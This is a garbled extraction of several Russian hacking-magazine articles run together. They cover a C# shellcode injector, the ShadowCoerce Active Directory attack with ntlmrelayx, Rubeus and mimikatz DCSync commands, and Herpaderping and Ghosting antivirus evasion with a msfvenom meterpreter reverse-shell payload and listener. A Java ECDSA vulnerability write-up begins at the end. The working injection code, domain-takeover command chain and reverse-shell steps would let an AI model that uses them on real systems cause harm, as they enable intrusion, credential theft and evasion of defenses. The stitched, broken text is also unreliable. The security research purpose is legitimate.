спря тать сиг натуру мал вари с помощью недетек тиру емо го упа ков щика, дос- 
туп к памяти нам все рав но будет зап рещен из-за фей ла инъ екции.

За пуск крип тован ного KeeTheft.exe при активном EDR

Продолжение статьи →

email:snovvcrash@protonmail.ch
https://gist.github.com/HarmJ0y/116fa1b559372804877e604d7d367bbc
https://github.com/GhostPack/KeeThief
https://twitter.com/harmj0y
https://twitter.com/tifkin_
https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-rtldecryptmemory
https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
https://www.kaspersky.ru/small-to-medium-business-security/downloads/endpoint
https://attack.mitre.org/tactics/TA0011/
https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
https://github.com/b4rtik/metasploit-execute-assembly
https://www.cobaltstrike.com/blog/cobalt-strike-3-11-the-snake-that-eats-its-tail/


ВЫЗОВ МАСТЕРУ

КЛЮЧЕЙ
ИНЖЕКТИМ ШЕЛЛ-КОД В ПАМЯТЬ KEEPASS,

ОБОЙДЯ АНТИВИРУС

COVERSTORY  НАЧАЛО СТАТЬИ←

ÊËÀÑÑÈ×ÅÑÊÀß ÈÍÚÅÊÖÈß ØÅËË-ÊÎÄÀ

Ог лянем ся назад и рас смот рим клас сичес кую тех нику внед рения сто рон него
кода в уда лен ный про цесс. Для это го наши пред ки поль зовались свя щен ным
трио Win32 API:

 — выделить мес то в вир туаль ной памяти уда лен ного про цес- 
са под наш шелл-код.

• VirtualAllocEx

 — записать бай ты шелл-кода в выделен ную область
памяти.

• WriteProcessMemory

 — запус тить новый поток в уда лен ном про цес се,
который стар тует све жеза писан ный шелл-код.

• CreateRemoteThread

Ис полне ние шелл-кода с помощью Thread Execution (изоб ражение —
elastic.co)

На пишем прос той PoC на C#, демонс три рующий эту самую клас сичес кую
инъ екцию шелл-кода.

 using System;
 using System.Diagnostics;
 using System.Runtime.InteropServices;

 namespace SimpleInjector
{
     public class Program
   {

     
 
       [DllImport("kernel32.dll", SetLastError = true, ExactSpelling
= true)]

          static extern IntPtr OpenProcess(
            uint processAccess,
            bool bInheritHandle,

            int processId);

     
 
       [DllImport("kernel32.dll", SetLastError = true, ExactSpelling
= true)]

          static extern IntPtr VirtualAllocEx(
            IntPtr hProcess,
            IntPtr lpAddress,

            uint dwSize,
            uint flAllocationType,
            uint flProtect);

       [DllImport("kernel32.dll")]
          static extern bool WriteProcessMemory(

            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,

            Int32 nSize,
             out IntPtr lpNumberOfBytesWritten);

       [DllImport("kernel32.dll")]
          static extern IntPtr CreateRemoteThread(

            IntPtr hProcess,
            IntPtr lpThreadAttributes,

            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,

            uint dwCreationFlags,
            IntPtr lpThreadId);

          public static void Main()
       {
           // msfvenom -p windows/x64/messagebox TITLE='MSF' 
TEXT='Hack the Planet!' EXITFUNC=thread -f csharp

                 byte[] buf = new byte[] { };

           // Получаем PID процесса explorer.exe
              int processId = Process.GetProcessesByName("explorer")[0]

.Id;

           // Получаем хендл процесса по его PID (0x001F0FFF = 
PROCESS_ALL_ACCESS)

                IntPtr hProcess = OpenProcess(0x001F0FFF, false,
processId);

           // Выделяем область памяти 0x1000 байт (0x3000 = 
MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)

     
  

           IntPtr allocAddr = VirtualAllocEx(hProcess, IntPtr.Zero,
0x1000, 0x3000, 0x40);

           // Записываем шелл-код в выделенную область
     

  
           _ = WriteProcessMemory(hProcess, allocAddr, buf, buf.
Length, out _);

           // Запускаем поток
     

   
           _ = CreateRemoteThread(hProcess, IntPtr.Zero, 0,
allocAddr, IntPtr.Zero, 0, IntPtr.Zero);
       }
   }
}

Ском пилиро вав и запус тив инжектор, с помощью Process Hacker мож но наб- 
людать, как в про цес се explorer.exe запус тится новый поток, рису ющий нам
диало говое окно MSF.

Клас сичес кая инъ екция шелл-кода

Ес ли прос то положить такой бинарь на диск с активным средс твом анти- 
вирус ной защиты, реак ция будет незамед литель ной незави симо от содер- 
жимого мас сива , то есть нашего шелл-кода. Все дело в ком бинации

потен циаль но опас ных вызовов Win32 API, которые заведо мо исполь зуют ся
в боль шом количес тве злов редов. Для демонс тра ции я переком пилирую
инжектор с пус тым мас сивом  и залью резуль тат на VirusTotal. 

ресур са говорит сама за себя.

buf

buf Ре акция

VirusTotal намека ет...

Как анти вирус ное ПО понима ет, что перед ним инжектор, даже без динами- 
чес кого ана лиза? Все прос то: пач ка атри бутов , занима ющих

полови ну нашего исходни ка, кри чит об этом на всю дерев ню. Нап ример,
с помощью такого вол шебно го кода на PowerShell я могу пос мотреть все
импорты в бинаре .NET.

DllImport

Примечание
Здесь исполь зует ся сбор ка , дос тупная «из
короб ки» в PowerShell Core. Уста нов ка опи сана в .

System.Reflection.Metadata
до кумен тации Microsoft

$assembly = "C:\Users\snovvcrash\source\repos\SimpleInjector\bin\x64\
Release\SimpleInjector.exe"
$stream = [System.IO.File]::OpenRead($assembly)
$peReader = [System.Reflection.PortableExecutable.PEReader]::new(
$stream, [System.Reflection.PortableExecutable.PEStreamOptions]::
LeaveOpen -bor [System.Reflection.PortableExecutable.PEStreamOptions
]::PrefetchMetadata)
$metadataReader = [System.Reflection.Metadata.PEReaderExtensions]::
GetMetadataReader($peReader)
$assemblyDefinition = $metadataReader.GetAssemblyDefinition()

foreach($typeHandler in $metadataReader.TypeDefinitions) {
   $typeDef = $metadataReader.GetTypeDefinition($typeHandler)
   foreach($methodHandler in $typeDef.GetMethods()) {
       $methodDef = $metadataReader.GetMethodDefinition(
$methodHandler)

       $import = $methodDef.GetImport()
       if ($import.Module.IsNil) {
           continue
       }

       $dllImportFuncName = $metadataReader.GetString($import.Name)
       $dllImportParameters = $import.Attributes.ToString()
       $dllImportPath = $metadataReader.GetString($metadataReader.
GetModuleReference($import.Module).Name)
       Write-Host "$dllImportPath, $dllImportParameters`n
$dllImportFuncName`n"
   }
}

Смот рим импорты в SimpleInjector.exe

INFO

Эти импорты пред став ляют собой спо соб вза- 
имо дей ствия при ложе ний .NET с неуп равля емым
кодом — таким, нап ример, как фун кции биб лиотек

, . Этот механизм
называ ется P/Invoke (Platform Invocation
Services), а сами сиг натуры импорти руемых фун- 
кций с набором аргу мен тов и типом воз вра- 
щаемо го зна чения мож но най ти на сай те

.

user32.dll kernel32.dll

pinvoke.net

При ана лизе это го доб ра в динами ке, как ты понима ешь, дела обсто ят
еще про ще: так как все EDR име ют при выч ку вешать хуки на userland-
интерфей сы, вызовы подоз ритель ных API сра зу под нимут тре вогу. Под робнее
об этом мож но почитать в  , а в лабора тор ных усло виях
хукинг наг ляднее все го про демонс три ровать с помощью .

ре сер че @ShitSecure
API Monitor

Ху каем kernel32.dll в SimpleInjector.exe

Итак, что же со всем этим делать?

Продолжение статьи →

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
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https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-windows
https://www.pinvoke.net/
https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
https://twitter.com/ShitSecure
http://www.rohitab.com/apimonitor


SHADOWCOERCE
КАК РАБОТАЕТ НОВАЯ АТАКА

НА ACTIVE DIRECTORY
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Hunter
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ВЗЛОМ

В этой статье я покажу, как работа ет ата ка ShadowCoerce,
которая исполь зует служ бу тенево го копиро вания (VSS)
и поз воля ет при нудить учет ку кон трол лера домена Active
Directory авто ризо вать ся на узле зло умыш ленни ка. А это,
как ты догады ваешь ся, может при вес ти к зах вату домена.

PETITPOTAM È PRINTERBUG

Ра нее в тех же целях при меня лись тех ники  и PrinterBug.PetitPotam
PetitPotam исполь зовал фун кцию  из про токо ла

Microsoft Encrypting File System Remote Protocol (MS-EFSRPC), который пред- 
назна чен для выпол нения опе раций с зашиф рован ными дан ными, хра нящи- 
мися в уда лен ных сис темах.

EfsRpcOpenFileRaw

PrinterBug зло упот реблял фун кци ей
 в про токо ле Microsoft

Print System Remote Protocol (MS-RPRN). При ата ке поль зователь домена
может зас тавить любую машину, на которой запуще на служ ба оче реди
печати, под клю чить ся к машине со вклю чен ным неог раничен ным делеги рова- 
нием. Для экс плу ата ции это го бага при меня ется инс тру мент .

RpcRemoteFindFirstPrinterChangeNotificationEx

Krbrelayx

WWW

Под робнее об этих уяз вимос тях:
•Compromising a Domain With the Help of a

Spooler
•Зах ват кон трол лера домена с помощью ата ки

PetitPotam

ShadowCoerce — новый спо соб при нуди тель ной аутен тифика ции. Он исполь- 
зует про токол служ бы тенево го копиро вания VSS (MS-FSRVP). Но преж де чем
говорить о нем, рас ска жу пару слов о самой VSS.

×ÒÎ ÒÀÊÎÅ VSS

Volume Shadow Copy Service (VSS) — это фича Windows Server, которая поз- 
воля ет тихо, незамет но и цен тра лизо ван но бэкапить поль зователь ские дан- 
ные.

Пред ставь, что у тебя есть фай ловый сер вер, бэкап которо го дела ется
ежед невно. Утром ты внес изме нения в кри тичес ки важ ный документ, а в кон- 
це рабоче го дня что-то напутал и слу чай но уда лил этот файл. Вос ста новить
его из бэкапа будет невоз можно, так как в утреннюю сес сию он не попал.
Одна ко если на сер вере вклю чена служ ба VSS, то мож но не торопить ся
ломать кла виату ру об колено и кидать монитор в окош ко — файл мож но будет
спас ти!

По сути, VSS копиру ет всю информа цию, хра нящу юся на дис ке, но при
этом отсле жива ет изме нения и берет толь ко нуж ные бло ки. Сами копии дела- 
ются авто мати чес ки каж дый час, и по умол чанию Windows хра нит их
в количес тве 64 штук. VSS — шту ка удоб ная и пов семес тно исполь зует ся
в домен ных сетях.

ÑÒÅÍÄ

Для про веде ния ата ки нам понадо бит ся тес товый стенд:
кон трол лер домена (DC) — Windows Server 2016;•
центр сер тифика ции (AD CS) — Windows Server 2016 с вклю чен ной служ- 
бой Web Enrollment;

•

ском про мети рован ная учет ная запись поль зовате ля с низ кими при виле- 
гиями.

•

Су дя по докумен тации Microsoft, про токол уда лен ного фай лового сер вера
VSS (MS-FSRVP):

соз дает теневые копии фай ловых ресур сов на уда лен ных компь юте рах;•
де лает резер вное копиро вание при ложе ний;•
вос ста нав лива ет дан ные на фай ловых ресур сах SMB2.•

Что бы наш кон трол лер домена начал делать теневые копии, нуж но уста новить
служ бу аген та VSS из меню «Роли сер вера».

На момент написа ния статьи извес тны толь ко две уяз вимые фун кции, которые
обра баты вает MS-FSRVP:  и . Имен но

они поз воля ют под нять наши пра ва, так как обе работа ют с уда лен ными
путями UNC.

IsPathSupported IsPathShadowCopied

ÊÀÊ ÐÀÁÎÒÀÅÒ SHADOWCOERCE

Для ShadowCoerce дос тупен , который демонс три рует зло упот ребле ние
эти ми фун кци ями. Исполне ние кода зас тавля ет учет ную запись кон трол лера
домена зап росить общий ресурс NETLOGON или SYSVOL из сис темы,
находя щей ся под кон тро лем зло умыш ленни ка. При нуди тель ная аутен тифика- 
ция выпол няет ся через SMB, в отли чие от дру гих подоб ных методов при нуж- 
дения (PrinterBug и PetitPotam).

PoC

При экс плу ата ции уяз вимос ти NTLMv2-хеш учет ной записи хос та кон трол лера
домена ока зыва ется зах вачен. Затем этот хеш переда ется в центр сер- 
тифика ции, что бы зарегис три ровать сер тификат. Пос ле чего его мож но
исполь зовать для аутен тифика ции на кон трол лере домена через служ бу
Kerberos.

В жур нале событий кон трол лера домена видим, как запус кает ся сам про- 
цесс и служ ба VSS.

Под клю чение к сетево му ресур су от име ни user

За пуск про цес са fssagent и служ бы VSS

Да вай раз берем сам про цесс ата ки ShadowCoerce.

Для ее про веде ния зло умыш ленник выпол няет сле дующие дей ствия.
1. Под клю чает ся к сетево му ресур су с помощью экс пло ита и зло упот ребля ет

фун кци ями  и  в про токо ле MS-
FSRVP.

IsPathSupported IsPathShadowCopied

2. По луча ет NTLMv2-хеш от кон трол лера домена (SMB). Вре донос ный код
при нуж дает учет ную запись кон трол лера домена к аутен тифика ции по про- 
токо лу SMB на зах вачен ном компь юте ре.

3. Пе ренап равля ет хеш в центр сер тифика ции (LDAP).
4. По луча ет сер тификат в Base64.

ÝÊÑÏËÓÀÒÀÖÈß

Те перь я покажу, как выг лядит сама экс плу ата ция.
Что бы про верить, что служ ба VSS работа ет, попыта емся перех ватить

NTLMv2 с помощью Responder.

  sudo responder -I eth0 -e <ip слушателя> -b -A -v

Нам понадо бят ся учет ные дан ные любого поль зовате ля домена, IP-адрес
слу шате ля и IP-адрес кон трол лера домена. Пусть тебя не пуга ет ошиб ка под- 
клю чения при пер вом запус ке.

     python3 shadowcoerce.py -d "домен" -u "имя пользователя" -p "пароль" 
<IP слушателя> <IP контроллера домена> 

Пос коль ку на Kali мы слу шаем SMB, нами будет зах вачен хеш NTLMv2 учет ной
записи компь юте ра кон трол лера домена.

Ес ли в домене есть центр сер тифика ции, а он у нас есть, мы можем перенап- 
равить на него NTLMv2-хеш через про токол HTTP. Идея в том, что бы смес тить
наш век тор в сто рону получе ния сер тифика та, так как исполь зовать его будет
про ще, чем Net-NTLMv2-хеш.

  
python3 ntlmrelayx.py -t http://<IP центра сертификации>/certsrv/
certfnsh.asp -smb2support --adcs --template DomainController 

Пос ле успешной ата ки нам будет выдан сер тификат в Base64.

Ис поль зуя сер тификат, мы можем зап росить билет TGT (Ticket-Granting Ticket,
«билет на получе ние билета») для учет ной записи кон трол лера домена (DC1)
с помощью инс тру мен та под наз вани ем .Rubeus

Rubeus.exe asktgt /user:DC1$ /certificate:<сертификат в Base64> /ptt 

На личие TGT для учет ки кон трол лера домена экви вален тно пра вам локаль- 
ного адми нис тра тора. TGT может быть исполь зован, нап ример, для про веде- 
ния ата ки DCSync c пос леду ющим зак репле нием в домене с помощью Golden
ticket.

С помощью ути литы  про ведем ата ку DCSync и заберем NTLM-

хеш адми нис тра тора домена.

mimikatz

Ад минис тра тором домена на нашем стен де явля ется поль зователь TH.

lsadump::dcsync /domain:домен /user:пользователь 

python3 wmiexec.py -hashes :NTLM хеш пользователя@<
IP контроллера домена> 

ÂÛÂÎÄÛ

Мы под няли при виле гии с прос того поль зовате ля до адми нис тра тора
домена. Для это го нам понадо билась все го одна дей ству ющая учет ная
запись и пара команд в кон соли.

Ата ки рет ран сля ции NTLM сущес тву ют уже доволь но дав но, но, как мы
видим, иссле дова тели еже год но находят новые обходные пути для экс плу ата- 
ции. При меча тель но, что эта ата ка, в отли чие от прош лых, не исполь зует уяз- 
вимые фун кции в про токо ле RPC, а опи рает ся на про токол обще го дос тупа
к фай лам SMB.

Ес ли ты адми нис три руешь сеть, где вклю чен NTLM, убе дись, что служ бы,
раз реша ющие про вер ку под линнос ти NTLM, исполь зуют средс тва защиты.
Сре ди них — рас ширен ная защита для про вер ки под линнос ти (EPA) или фун- 
кции под писи, такие как под пись SMB. А еще твоя сеть потен циаль но уяз- 
вима, если в домене вклю чена про вер ка под линнос ти NTLM и исполь зует ся
служ ба сер тифика ции Active Directory (AD CS) с любой из сле дующих служб:

ин тернет-регис тра ция цен тра сер тифика ции;•
веб-служ ба регис тра ции сер тифика тов.•

Офи циаль ных заяв лений Microsoft по поводу опи сыва емой ата ки на момент
написа ния статьи не делалось.

mailto:1215poppunk@mail.ru
https://github.com/topotam/PetitPotam
https://github.com/dirkjanm/krbrelayx
https://blog.cymulate.com/compromising-a-domain
https://habr.com/ru/company/deiteriylab/blog/581758/
https://github.com/ShutdownRepo/ShadowCoerce
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ВЗЛОМ

Из бежать обна руже ния полез ной наг рузки анти виру сами —
важ ней шая задача не толь ко вирусо писа телей, но и пен- 
тесте ров и учас тни ков red team. Для это го сущес тву ют раз- 
личные тех ники. Сегод ня мы под робно рас смот рим две
из них: Herpaderping и Ghosting. О двух дру гих методи ках —
Hollowing и Doppelgänging — мож но почитать в статье «

».

Мас- 
киру ем запуск про цес сов при помощи Process
Doppelgänging

Для прос тоты в наших экспе римен тах мы будем исполь зовать Microsoft
Defender и Mimikatz.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÎÑÎÁÅÍÍÎÑÒÈ ÏÐÎÖÅÑÑÎÂ

Как анти вирус узна ет, что в сис теме был запущен какой-либо про цесс?
Microsoft дает воз можность раз работ чикам анти вирус ных решений получать
через API нуж ные им события (нап ример,

). Ког да соз дает ся про цесс, Microsoft

Defender (да и все осталь ные анти виру сы) сра зу узна ет об этом, получив
соот ветс тву ющий callback. Теперь-то он может про инспек тировать исполня- 
емый файл и сде лать вывод, раз решить этот про цесс или нет (опус тим этап
ста тичес кого ана лиза).

PsSetCreateProcessNotifyRoutineEx

Вся шту ка в том, что уве дом ление — ни разу не про
соз дание про цес са. Callback полетит тог да, ког да внут ри это го про цес са воз- 
никнет пер вый поток (thread). Меж ду момен тами, ког да про цесс был соз дан
и ког да анти вирус ное решение об этом узна ло, обра зует ся про межу ток.
Это самое вре мя зло умыш ленни ки твор чески исполь зуют для сво их целей.

CreateProcessNotify

Âàæíî ïîíèìàòü

Ис полня емый файл — это не про цесс. Исполня емый файл может быть свя зан
со мно жес твом про цес сов (в Task Manager мож но лег ко прос ледить, сколь ко
про цес сов свя зано, нап ример, с  или ). Каж- 

дый про цесс обя затель но будет свя зан с каким-либо PE-фай лом ( , 

и дру гие). При этом про цес сы пре дос тавля ют ресур сы, необ ходимые
для выпол нения прог раммы.

RuntimeBroker.exe svchost.exe
.exe .dll

Про цесс содер жит вир туаль ное адресное прос транс тво, исполня емый
код, откры тые дес крип торы для сис темных объ ектов, кон текст безопас ности,
уни каль ный иден тифика тор про цес са, перемен ные сре ды, класс при ори тета,
минималь ный и мак сималь ный раз меры рабоче го мно жес тва и по край ней
мере один поток выпол нения.

По ток — это базовая еди ница, в которой опе раци онная сис тема выделя ет
про цес сорное вре мя. Поток может выпол нять любую часть кода про цес са,
вклю чая час ти, которые в дан ный момент выпол няют ся дру гим потоком.

Ñîçäàíèå ïðîöåññà

Рас смот рим соз дание про цес са по шагам.
1. Сна чала мы получа ем дес крип тор (handle) для исполня емо го фай ла,

который запус каем, нап ример так: 
.
hFile = CreateFile(“C:\

Windows\System32\svchost.exe”)
2. Соз даем image section (нап ример, 

). Image section пред став ляет собой осо бый раз дел
и слу жит для . Раз дел соот- 
ветс тву ет PE-фай лам и может быть соз дан толь ко в них.

hSection = NtCreateSection(
hFile, SEC_IMAGE)

отоб ражения фай ла (или час ти фай ла) в память

3. Соз даем про цесс в image section (нап ример, 
).

hProcess = 
NtCreateProcessEx(hSection)

4. Наз нача ем аргу мен ты и перемен ные сре ды (нап ример,
).CreateEnvironmentBlock/NtWriteVirtualMemory

5. Соз даем поток для выпол нения про цес са (нап ример,
).NtCreateThreadEx

Важ ный момент: про цес сы запус кают ся из исполня емых фай лов,
но информа ция внут ри исполня емо го фай ла может менять ся отно ситель ного
того, что находит ся в image section (так как она кеширу ется memory manager).

Ñêàíèðîâàíèå ïðîöåññà â ïîèñêàõ çëîâðåäà

Как уже было ска зано, анти виру сы могут получать уве дом ления о событи ях
соз дания про цес сов и потоков (
и ).

PsSetCreateProcessNotifyRoutineEx
PsSetCreateThreadNotifyRoutineEx

Выг лядит это при мер но так:

   typedef struct _PS_CREATE_NOTIFY_INFO {
  SIZE_T Size;
  union {
    ULONG Flags;
    struct {

        ULONG FileOpenNameAvailable : 1;
        ULONG IsSubsystemProcess : 1;
        ULONG Reserved : 30;

   };
 };
  HANDLE ParentProcessId;
  CLIENT_ID CreatingThreadId;
   struct _FILE_OBJECT *FileObject;
  PCUNICODE_STRING ImageFileName;
  PCUNICODE_STRING CommandLine;
  NTSTATUS CreationStatus;
  } PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;

Из инте рес ного:  соот ветс тву ет дес крип тору .
Если же мы взгля нем на API , то уви дим там тоже дес крип- 

тор раз дела, а не фай ла.

FILE_OBJECT NtCreateSection
NtCreateProcess

NTSYSCALLAPI
NTSTATUS
NTAPI
NtCreateProcess(
   _Out_ PHANDLE ProcessHandle,
   _In_ ACCESS_MASK DesiredAccess,
   _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
   _In_ HANDLE ParentProcess,
   _In_ BOOLEAN InheritObjectTable,
   _In_opt_ HANDLE SectionHandle,
   _In_opt_ HANDLE DebugPort,
   _In_opt_ HANDLE ExceptionPort
 );

ÎÒËÈ×Èß ÄÂÓÕ ÒÅÕÍÈÊ

Для прос тоты я свел отли чия опи сыва емых в статье тех ник в таб лицу.

Òåõ íèêà Äåé ñòâèÿ

Hollowing map → modify section → execute

Doppelgängin
g

transact → write → map → rollback → execute

Herpaderping write → map → modify → execute → close

Ghosting delete pending → write → map → close(delete) → execute

HERPADERPING

Нам пот ребу ется , целевой исполня емый файл (тут мож но ука- 

зывать что угод но, у нас это будет ) и любой файл, не вызыва ющий
подоз рений у анти вирус ных прог рамм. Раз берем методи ку Herpaderping
по шагам.

mimikatz.exe
hack.exe

1. . Соз даем и откры ваем , копиру ем в него ,

дес крип тор не зак рыва ем.

Write hack.exe mimikatz.exe

2. . Соз даем image section и мапим содер жимое в память.Map

3. . Соз даем про цесс с дес крип тором ранее соз данно го раз дела.

Пос ле это го меня ем содер жимое фай ла , копируя туда
что-нибудь легитим ное. Пом нишь важ ный момент из раз дела про соз- 
дание про цес са? Так вот это он и есть: с это го момен та то, что у нас
в памяти, и то, что хра нит ся в фай ле, отли чает ся.

Modify

hack.exe

4. . Соз даем initial thread. Толь ко сей час анти виру су летит process

creation callback. Раз личие содер жимого в фай ле и в памяти сво дит с ума
Defender, он не может понять, мож но ли раз решать выпол нение это го про- 
цес са.

Execute

5. . Зак рыва ем откры тый дес крип тор.Close

Herpaderping íà ïðàêòèêå

За все ми дей стви ями будет наб людать пол ностью обновлен ный Microsoft
Defender. Естес твен но, если дроп нуть на диск Mimikatz или пей лоад
из MSFvenom в «чис том» виде, он тут же будет обна ружен анти виру сом. Нам
нуж но обой ти ста тичес кий ана лиз, но этот этап мы сей час рас смат ривать
не будем.

Defender

Ко пиру ем  из GitHub и собира ем его.про ект

git clone https://github.com/jxy-s/herpaderping.git
cd .\herpaderping\
git submodule update --init –recursive

Ко пиру ем про ект

Вы пол няем коман ду

ProcessHerpaderping.exe mimikatz.exe hack.exe lsass.exe

Вы пол нение ProcessHerpaderping.exe

Как мы видим, все выпол нилось успешно, Defender не сре аги ровал. Давай
взгля нем, что покажет нам ProcessHacker.

ProcessHacker

У нас исполня ется не , а . А еще у нашего при ложе ния

 есть сер тификат, выдан ный Microsoft.

mimikatz.exe hack.exe
hack.exe

У нашего при ложе ния есть сер тификат

Ну а сам  спо кой но лежит на рабочем сто ле.hack.exe

Ра бочий стол

Этот при ем работа ет не толь ко с Mimikatz: давай проб росим себе сес сию
Meterpreter. Для это го сге нери руем полез ную наг рузку и запус тим лис тенер.

    
    

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.197
LPORT=9001 -f exe > met.exe

Payload generation

 use exploit/multi/handler
  set payload windows/x64/meterpreter/reverse_tcp
  set LHOST 192.168.1.197
  set LPORT 9001

exploit

Вы пол ним те же дей ствия и гля нем, при лете ла ли сес сия.

Вы пол нение met.exe

По лучен ная сес сия

Ура, получи лось!

GHOSTING

Для исполь зования это го метода нам опять же пот ребу ется наш исходный
файл ( ) и целевой исполня емый файл. В качес тве таково го

мож но ука зывать что угод но, у нас это будет уже при выч ный нам .
Как и в прош лый раз, раз берем тех нологию по шагам.

mimikatz.exe
hack.exe

1. . Delete Pending — это сос тояние, при котором файл

еще не уда лен, потому что дес крип тор на него открыт. Как толь ко дес крип- 
тор зак роет ся, файл уда лит ся. Соз даем файл и перево дим в сос тояние
delete-pending, исполь зуя 

. Исполь зование
 не уда лит файл.

Delete pending

NtSetInformationFile (
FileDispositionInformation)
FILE_DELETE_ON_CLOSE

2. . Копиру ем наш исходный исполня емый файл в соз данный файл.

Содер жимое не сох раня ется, так как файл находит ся в сос тоянии delete-
pending. Так же это сос тояние бло киру ет попыт ки открыть файл извне.

Write

3. . Соз даем image section и мапим содер жимое в память.Map

4. . Зак рыва ем дес крип тор, файл уда ляет ся.Ñlose(delete)

5. . Соз даем про цесс с дес крип тором ранее соз данно го раз дела.
Соз даем initial thread. В этот момент анти виру су нап равля ется process
creation callback, но файл уже уда лен. Попыт ка открыть его завер шится
с ошиб кой . Если поп робовать открыть файл
до того, как он будет уда лен, получишь ту же самую ошиб ку.

Execute

STATUS_FILE_DELETED

Ghosting íà ïðàêòèêå

Ко пиру ем  и собира ем. Либо кача ем уже  про ект из GitHub.про ект соб ранный
Вы пол няем коман ду

  proc_ghost64.exe mimikatz.exe hack.exe

Вы пол нение proc_ghost64.exe

Как мы видим, сно ва все выпол нилось успешно и Defender не сре аги ровал.
Теперь давай оце ним информа цию, которую пре дос тавит нам ProcessHacker.

ProcessHacker

Сто ит обра тить вни мание на еще один инс тру мент, который реали зует дан- 
ную тех нику, — . Он так же реали зует воз можнос ти крип тования
исходно го пей лоада:

KingHamlet

  KingHamlet.exe mimikatz.exe key

KingHamlet

А process ghosting исполь зует ся на сле дующем шаге:

   KingHamlet.exe mimikatz.exe.khe key hack.exe

KingHamlet

KingHamlet так же отра ботал успешно. В ProcessHacker мы уви дим сле- 
дующее.

ProcessHacker пос ле при мене ния KingHamlet

ÂÛÂÎÄÛ

По веде ние Microsoft по отно шению к опи сан ным в этой статье методам не до
кон ца понят но. То ком пания заяв ляет, что выпус тила зак рыва ющий патч, то
Microsoft Security Response Center (MSRC) неожи дан но сооб щает: проб лема
не соот ветс тву ет кри тери ям, тре бующим выпус тить обновле ние безопас- 
ности или инс трук ции по пре дот вра щению атак. Но как видим, пока эти
механиз мы работа ют без каких-либо труд ностей, глав ное — обой ти ста тичес- 
кий ана лиз.

mailto:alexandr.khudozhilov@icloud.com
https://xakep.ru/2018/08/27/doppelganging-process/
https://en.wikipedia.org/wiki/Memory-mapped_file
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreatethreadnotifyroutineex
https://github.com/jxy-s/herpaderping
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwsetinformationfile
https://github.com/hasherezade/process_ghosting
https://github.com/hasherezade/process_ghosting/releases/tag/1.0
https://github.com/IkerSaint/KingHamlet
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ВЗЛОМ

Всех, кто исполь зует отно ситель но новые вер сии Java-
фрей мвор ка Oracle, в минув шую сре ду ждал неп рият ный
сюр приз. Иссле дова тель из ком пании  Нил Мэд- 
ден сооб щил о кри тичес кой уяз вимос ти в Java, которая поз- 
воля ет зло умыш ленни кам лег ко под делывать сер тифика ты
и под писи TLS, сооб щения двух фактор ной аутен тифика ции
и учет ные дан ные авто риза ции. Эксперт опуб ликовал в сети
под робное , с основны ми тезиса ми
которо го мы сегод ня хотим тебя поз накомить.

ForgeRock

опи сание уяз вимос ти

Хронология событий
Нил Мэд ден обна ружил эту ошиб ку в OpenJDK еще 11 нояб ря 2021 года
и сра зу же сооб щил о ней в Oracle. 18 нояб ря раз работ чик под твер дил
наличие проб лемы и пообе щал добавить исправ ление в сле дующее кри- 
тичес кое обновле ние безопас ности, которое выш ло 19 апре ля 2022 года.
В этот же день ForgeRock опуб ликовал отчет с опи сани ем уяз вимос ти.

В популяр ном бри тан ском телесе риале «Док тор Кто» есть пов торя ющий ся
сюжет: глав ный герой с успе хом выпуты вает ся из раз личных неп рият ностей,
показы вая окру жающим совер шенно пус той документ, изго тов ленный из спе- 
циаль ной «пси хобу маги». Эта бумага зас тавля ет смот рящего на нее челове ка
видеть то, что хочет про демонс три ровать ему вла делец арте фак та: про пуск,
удос товере ние полицей ско го, судеб ный ордер или что-то иное. Схо жим
обра зом работа ет уяз вимость, обна ружен ная в нес коль ких недав них выпус- 
ках Java, вер нее, в механиз ме широко исполь зуемо го алго рит ма с откры тым
клю чом для соз дания циф ровых под писей ECDSA. Этой уяз вимос ти, получив- 
шей обоз начение CVE-2022-21449, под верже ны вер сии Java 15, 16, 17 и 18,
вышед шие до кри тичес кого обновле ния от апре ля 2022 года. Кро ме того,
в офи циаль ном сооб щении Oracle так же упо мина ются более ста рые вер сии
Java, вклю чая 7, 8 и 11. С дру гой сто роны, в 
перечис лены толь ко вер сии 15, 17 и 18, зат ронутые этой кон крет ной уяз- 
вимостью.

ре комен даци ях OpenJDK

С исполь зовани ем CVE-2022-21449 зло умыш ленни ки могут лег ко под делать
некото рые типы SSL-сер тифика тов и SSL-рукопо жатий, что, в свою оче редь,
поз воля ет перех ватывать и изме нять сооб щения. Кро ме того, ста новит ся
воз можной под мена под писан ных JSON Web Tokens (JWT), дан ных SAML,
токенов иден тифика ции OIDC и даже сооб щений аутен тифика ции WebAuthn.
Фак тичес ки это и есть пол ный ана лог кинош ной «пси хобу маги», толь ко
в элек трон ной фор ме.

Серь езность этой проб лемы труд но недо оце нить. Если ты исполь зуешь
под писи ECDSA для любого из перечис ленных механиз мов безопас ности,
а на сер вере уста нов лена уяз вимая вер сия Java, зло умыш ленник может
без тру да обой ти эти механиз мы. В реаль нос ти поч ти все устрой ства
